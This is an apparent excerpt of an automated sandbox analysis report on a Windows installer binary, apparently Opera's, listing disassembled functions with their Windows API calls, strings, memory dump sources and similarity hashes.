                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: FreeLibrary
                                                                                                                                                                                                                • String ID: api-ms-
                                                                                                                                                                                                                • API String ID: 3664257935-2084034818
                                                                                                                                                                                                                • Opcode ID: 2681b899cbc9f42b4629ed23441765b95ab40224f9446e0458ab1b1e4a7f9a31
                                                                                                                                                                                                                • Instruction ID: 1b748c46855076a36bc40c4fdf29e90268941ca7b7850ed3f9c89bd78febdc75
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 2681b899cbc9f42b4629ed23441765b95ab40224f9446e0458ab1b1e4a7f9a31
                                                                                                                                                                                                                • Instruction Fuzzy Hash: DB11E935A40235ABDB229BA89C44B5973A8FF0177AF291212FD11EB2C0E770ED4487D7
                                                                                                                                                                                                                Function 00711FC0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 51windowCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • SendNotifyMessageW.USER32(0000FFFF,0000001A,00000000,Software\Clients\StartMenuInternet), ref: 00712028
                                                                                                                                                                                                                • SHChangeNotify.SHELL32 ref: 0071203C
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • Software\Clients\StartMenuInternet, xrefs: 0071201B
                                                                                                                                                                                                                • ../../opera/desktop/windows/os_operations/os_operations_impl.cc, xrefs: 00711FFD
                                                                                                                                                                                                                • NotifyOfFileAssocChanges, xrefs: 00712002
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: Notify$ChangeMessageSend
                                                                                                                                                                                                                • String ID: ../../opera/desktop/windows/os_operations/os_operations_impl.cc$NotifyOfFileAssocChanges$Software\Clients\StartMenuInternet
                                                                                                                                                                                                                • API String ID: 381203216-775799556
                                                                                                                                                                                                                • Opcode ID: 23465170ccdbcd93ba52fc718e25b810817f64f6b01d4f10eda3056920f95ae1
                                                                                                                                                                                                                • Instruction ID: 1a12329cc0dbe928536367a4b96a31f914ff9894c5c939089ea34042c2d17d10
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 23465170ccdbcd93ba52fc718e25b810817f64f6b01d4f10eda3056920f95ae1
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 0D010871A407449BE3107B3C8C4647BB7A4FFD6721F00072EF9D192982EBA4658482D2
                                                                                                                                                                                                                Function 0076CFE4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36threadCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • DeleteProcThreadAttributeList.KERNEL32(65443A3A,?,?,?,?,?,?,?,?,00000000,008A4F64,00000000), ref: 0076D010
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 0076D026
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 0076D055
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: AttributeDeleteInit_thread_footerInit_thread_headerListProcThread
                                                                                                                                                                                                                • String ID: ::DeleteProcThreadAttributeList$kernel32.dll
                                                                                                                                                                                                                • API String ID: 1729018061-2988736364
                                                                                                                                                                                                                • Opcode ID: 672d8ac520cc6870241771ffc148b1855dd1e7e55778b797237c93055e1f1938
                                                                                                                                                                                                                • Instruction ID: dcea616e783bc370b60fcc4131b5fd436b65a8c0048d4c6c1acf396765b5cd34
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 672d8ac520cc6870241771ffc148b1855dd1e7e55778b797237c93055e1f1938
                                                                                                                                                                                                                • Instruction Fuzzy Hash: DCF0C835B10A009FEA309B5CEC46E257754F7C6710F152129E81A87783DAB66C428696
                                                                                                                                                                                                                Function 00837C12 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,00837C9C,0083D9F7,?,00837D1D,0083C03F,?,0083D9F7), ref: 00837C27
                                                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00837C3A
                                                                                                                                                                                                                • FreeLibrary.KERNEL32(00000000,?,?,00837C9C,0083D9F7,?,00837D1D,0083C03F,?,0083D9F7), ref: 00837C5D
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: AddressFreeHandleLibraryModuleProc
                                                                                                                                                                                                                • String ID: CorExitProcess$mscoree.dll
                                                                                                                                                                                                                • API String ID: 4061214504-1276376045
                                                                                                                                                                                                                • Opcode ID: 704500920351c8446acecc2917ebc3d99b4df6a3ff0a443c06f4592a499390ae
                                                                                                                                                                                                                • Instruction ID: e313ea656f17821d67fd658836e966b75b9bee90f5889ea9c64aca02c97be1f9
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 704500920351c8446acecc2917ebc3d99b4df6a3ff0a443c06f4592a499390ae
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 5BF08C30604618FBDB22AB51DD09BDDBB79FB4076AF144061B801E62A0CF758F01EBD1
                                                                                                                                                                                                                Function 0078B750 Relevance: 7.8, APIs: 5, Instructions: 250COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: __floor_pentium4
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 4168288129-0
                                                                                                                                                                                                                • Opcode ID: 0a6ced90b794f15dbc5982a5f64987ab6b0bcd45d15cfe85bd201e110f3dffac
                                                                                                                                                                                                                • Instruction ID: ab10e81327a248f658ab1e9a78431bd63cca4189b80095ac102ff5407e7e2ddb
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 0a6ced90b794f15dbc5982a5f64987ab6b0bcd45d15cfe85bd201e110f3dffac
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 37A10471908B45CBC711EF3CC45161AB7E4FFD6390F118B2EE89567251EB389486C782
                                                                                                                                                                                                                Function 007578C0 Relevance: 7.7, APIs: 5, Instructions: 211registryCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • RegDeleteKeyExW.ADVAPI32(?,00000000,?,00000000), ref: 007578E5
                                                                                                                                                                                                                • RegOpenKeyExW.ADVAPI32(?,00000000,00000000,?,00000000), ref: 00757906
                                                                                                                                                                                                                • RegEnumKeyExW.ADVAPI32 ref: 00757A93
                                                                                                                                                                                                                • RegCloseKey.ADVAPI32(?), ref: 00757AED
                                                                                                                                                                                                                • RegDeleteKeyExW.ADVAPI32(?,00000000,?,00000000), ref: 00757AFE
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: Delete$CloseEnumOpen
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 3013565938-0
                                                                                                                                                                                                                • Opcode ID: db9895e4017086685284206728cd99ae9378aa5c86a36d1333525fded712032d
                                                                                                                                                                                                                • Instruction ID: c9542250069398e3fc91c26ac58e8b055a39ead61ebdbeeb0f12efd4bccf6cf3
                                                                                                                                                                                                                • Opcode Fuzzy Hash: db9895e4017086685284206728cd99ae9378aa5c86a36d1333525fded712032d
                                                                                                                                                                                                                • Instruction Fuzzy Hash: AC71C1B15083409FD704DF24D845BAFBBE5BF88315F04891DF889A7251D7B8EA48CB92
                                                                                                                                                                                                                Function 00779E40 Relevance: 7.7, APIs: 5, Instructions: 174COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • TryAcquireSRWLockExclusive.KERNEL32(?), ref: 00779EB3
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 00779ED8
                                                                                                                                                                                                                • ReleaseSRWLockExclusive.KERNEL32(?,?,?,00867040,?,?), ref: 00779F26
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 00779F60
                                                                                                                                                                                                                • ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?), ref: 0077A01F
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ExclusiveLock$Release_strlen$Acquire
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 3008006094-0
                                                                                                                                                                                                                • Opcode ID: e82d304848e19df07a13dc96d9513a65bf5b047414506430ed97a241651a1e2b
                                                                                                                                                                                                                • Instruction ID: ddf2b11418635210ffc887a04e57b66ed230ccdf0e345c0717780c02178b4fc0
                                                                                                                                                                                                                • Opcode Fuzzy Hash: e82d304848e19df07a13dc96d9513a65bf5b047414506430ed97a241651a1e2b
                                                                                                                                                                                                                • Instruction Fuzzy Hash: B651CCB1904700ABEB10DF24C885A6FB7E4FB85750F04892DF99997352E779E908CB93
                                                                                                                                                                                                                Function 0074B3C0 Relevance: 7.6, APIs: 5, Instructions: 139COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • TlsGetValue.KERNEL32(00000014), ref: 0074B469
                                                                                                                                                                                                                  • Part of subcall function 0078C210: TlsAlloc.KERNEL32(?,0074B3FB,FFFFFFFF), ref: 0078C213
                                                                                                                                                                                                                • TryAcquireSRWLockExclusive.KERNEL32(0057C4E0), ref: 0074B51B
                                                                                                                                                                                                                • ReleaseSRWLockExclusive.KERNEL32(0057C4E0), ref: 0074B553
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 0074B571
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 0074B5A0
                                                                                                                                                                                                                  • Part of subcall function 0078C230: TlsFree.KERNEL32(0074B45A,?,0074B45A,?), ref: 0078C236
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ExclusiveLock$AcquireAllocFreeInit_thread_footerInit_thread_headerReleaseValue
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 3486807680-0
                                                                                                                                                                                                                • Opcode ID: cc972ff4123ad5fac5349f7d7331aa6bd4a2400c6fab48a7721bb9cd236dd4d8
                                                                                                                                                                                                                • Instruction ID: bd0bb77b84d601fd229163e91b23851acec1268b34fb644b38fe4812e06898d1
                                                                                                                                                                                                                • Opcode Fuzzy Hash: cc972ff4123ad5fac5349f7d7331aa6bd4a2400c6fab48a7721bb9cd236dd4d8
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 4141D7B19001149BDA20FB6CFC05A6973A4FF86320F004665E5A8973D2DB79AD558F92
                                                                                                                                                                                                                Function 0070C972 Relevance: 7.6, APIs: 5, Instructions: 110registryCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • RegOpenKeyExW.ADVAPI32(33B6CE54,?,00000000,?,?), ref: 0070C9BE
                                                                                                                                                                                                                • RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,?), ref: 0070CA2E
                                                                                                                                                                                                                • RegEnumKeyExW.ADVAPI32(?,00000000,?,00000100,00000000,00000000,00000000,?), ref: 0070CA79
                                                                                                                                                                                                                • RegCloseKey.ADVAPI32(?), ref: 0070CA94
                                                                                                                                                                                                                • RegCloseKey.ADVAPI32(?,?), ref: 0070CAC5
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CloseEnum$Open
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 956018044-0
                                                                                                                                                                                                                • Opcode ID: 26879bf546d498bdd55150020bbfc4448a74af4cdb953a14b00a1d176808b54c
                                                                                                                                                                                                                • Instruction ID: 81aa64dc3baac03701c85d0b2fa0e436d3531782be5849792586636a9497b2f7
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 26879bf546d498bdd55150020bbfc4448a74af4cdb953a14b00a1d176808b54c
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 04419DB194122CABDB20DF65DC8CBEABBB8EF48350F144199E409A7240D7349E80CFE0
                                                                                                                                                                                                                Function 0074B280 Relevance: 7.6, APIs: 5, Instructions: 86COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • TlsGetValue.KERNEL32(00000014,008A4E90,008A4CF8,00000000,?,0074B64C,?,?,?,0075B35C,00000000), ref: 0074B293
                                                                                                                                                                                                                • TryAcquireSRWLockExclusive.KERNEL32(0057C4E0,?,?,00000001,00000000), ref: 0074B2CA
                                                                                                                                                                                                                • ReleaseSRWLockExclusive.KERNEL32(0057C4E0,?,?,00000001,00000000), ref: 0074B34E
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 0074B37A
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 0074B3AD
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ExclusiveLock$AcquireInit_thread_footerInit_thread_headerReleaseValue
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 3774927250-0
                                                                                                                                                                                                                • Opcode ID: 37de82a44a6bbad7444c03491e718e1470fb7d3c0d6e798d26410950c5190845
                                                                                                                                                                                                                • Instruction ID: 517da5f14a7fd990be2e497d3f42ebf1476151c518102bab276e447bc742abf9
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 37de82a44a6bbad7444c03491e718e1470fb7d3c0d6e798d26410950c5190845
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 2F31D471900100CFEB24DF69E884B6933A5FBC6320F54412AE65587BA2DBBDAC51DB11
                                                                                                                                                                                                                Function 00708624 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 422COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: _strlen
                                                                                                                                                                                                                • String ID: %.2x$%.8lx$,%.2x
                                                                                                                                                                                                                • API String ID: 4218353326-2969256346
                                                                                                                                                                                                                • Opcode ID: 8b4fc7f06287bef129ca1d7d11940ee816eb43d367048572ae9bf30bbe9b7bcf
                                                                                                                                                                                                                • Instruction ID: e4ccb70637775a1bc241738bfe236270e3c021b50a53e858de2732978dc663b0
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 8b4fc7f06287bef129ca1d7d11940ee816eb43d367048572ae9bf30bbe9b7bcf
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 44F17CB1508380DFD751DF64C88462AFBE4BF99314F048A2DF8D597282EB79E9448B93
                                                                                                                                                                                                                Function 007C2D40 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 333COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • TryAcquireSRWLockExclusive.KERNEL32(?), ref: 007C311F
                                                                                                                                                                                                                  • Part of subcall function 007B0690: CreateEventW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,?,007C92E1,00000001,00000001), ref: 007B06B0
                                                                                                                                                                                                                  • Part of subcall function 007B0690: GetLastError.KERNEL32(?,?,007C92E1,00000001,00000001), ref: 007B06C2
                                                                                                                                                                                                                  • Part of subcall function 007B0690: SetLastError.KERNEL32(00000000,?,?,007C92E1,00000001,00000001), ref: 007B06F9
                                                                                                                                                                                                                • ReleaseSRWLockExclusive.KERNEL32(?), ref: 007C31D4
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ErrorExclusiveLastLock$AcquireCreateEventRelease
                                                                                                                                                                                                                • String ID: $2
                                                                                                                                                                                                                • API String ID: 629145919-4264767444
                                                                                                                                                                                                                • Opcode ID: 4766a0590ae7db75af804089786c8ea1d083c26e0e893358383c664017dccd43
                                                                                                                                                                                                                • Instruction ID: 6cdc9be67072f374da05da7ab964126a3e138e0d48cb5b1a0b44281f27d1f25e
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 4766a0590ae7db75af804089786c8ea1d083c26e0e893358383c664017dccd43
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 4AE1D3B1904B448FE710DF28C845BABBBF0FF95304F048A1DE89A9B241D7B5E585CB92
                                                                                                                                                                                                                Function 006F9810 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 282COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
